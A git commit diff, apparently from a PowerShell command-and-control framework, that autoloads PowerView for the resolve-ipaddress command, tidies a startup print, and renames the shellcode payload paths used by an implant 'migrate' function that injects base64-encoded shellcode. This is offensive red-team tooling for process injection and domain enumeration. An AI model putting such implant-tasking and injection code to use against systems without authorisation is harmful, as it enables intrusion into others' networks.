Fix migrate, remove one line after username and autoload powerview if resolve-ipaddress is called
parent
a5d5e2cec8
commit
49dd5fdb03
|
@ -59,6 +59,7 @@ def run_autoloads(command, randomuri, user):
|
|||
if "invoke-pbind" in command.lower(): check_module_loaded("Invoke-Pbind.ps1", randomuri, user)
|
||||
if "get-domaingroupmember" in command.lower(): check_module_loaded("powerview.ps1", randomuri, user)
|
||||
if "invoke-kerberoast" in command.lower(): check_module_loaded("powerview.ps1", randomuri, user)
|
||||
if "resolve-ipaddress" in command.lower(): check_module_loaded("powerview.ps1", randomuri, user)
|
||||
if "invoke-userhunter" in command.lower(): check_module_loaded("powerview.ps1", randomuri, user)
|
||||
if "invoke-daisychain" in command.lower(): check_module_loaded("invoke-daisychain.ps1", randomuri, user)
|
||||
if "invoke-hostenum" in command.lower(): check_module_loaded("HostEnum.ps1", randomuri, user)
|
||||
|
|
|
@ -154,8 +154,7 @@ def startup(user, printhelp = ""):
|
|||
|
||||
try:
|
||||
if user is not None:
|
||||
print ("User: %s" % user)
|
||||
print (Colours.END)
|
||||
print ("User: %s%s" % (user, Colours.END))
|
||||
ii = get_implants()
|
||||
if ii:
|
||||
for i in ii:
|
||||
|
|
|
@ -474,12 +474,12 @@ def migrate(randomuri, user, params=""):
|
|||
arch = "86"
|
||||
|
||||
if implant_comms == "Normal":
|
||||
shellcodefile = load_file("%s/payloads/Posh-shellcode_x%s.bin" % (ROOTDIR,arch))
|
||||
shellcodefile = load_file("%spayloads/Posh_v4_x%s_Shellcode.bin" % (ROOTDIR,arch))
|
||||
elif implant_comms == "Daisy":
|
||||
daisyname = raw_input("Name required: ")
|
||||
shellcodefile = load_file("%s/payloads/%sPosh-shellcode_x%s.bin" % (ROOTDIR,daisyname,arch))
|
||||
shellcodefile = load_file("%spayloads/%sPosh_v4_x%s_Shellcode.bin" % (ROOTDIR,daisyname,arch))
|
||||
elif implant_comms == "Proxy":
|
||||
shellcodefile = load_file("%s/payloads/ProxyPosh-shellcode_x%s.bin" % (ROOTDIR,arch))
|
||||
shellcodefile = load_file("%spayloads/ProxyPosh_v4_x%s_Shellcode.bin" % (ROOTDIR,arch))
|
||||
|
||||
check_module_loaded("Inject-Shellcode.ps1", randomuri, user)
|
||||
new_task("$Shellcode%s=\"%s\"" % (arch,base64.b64encode(shellcodefile)), user, randomuri)
|
||||
|
|
Loading…
Reference in New Issue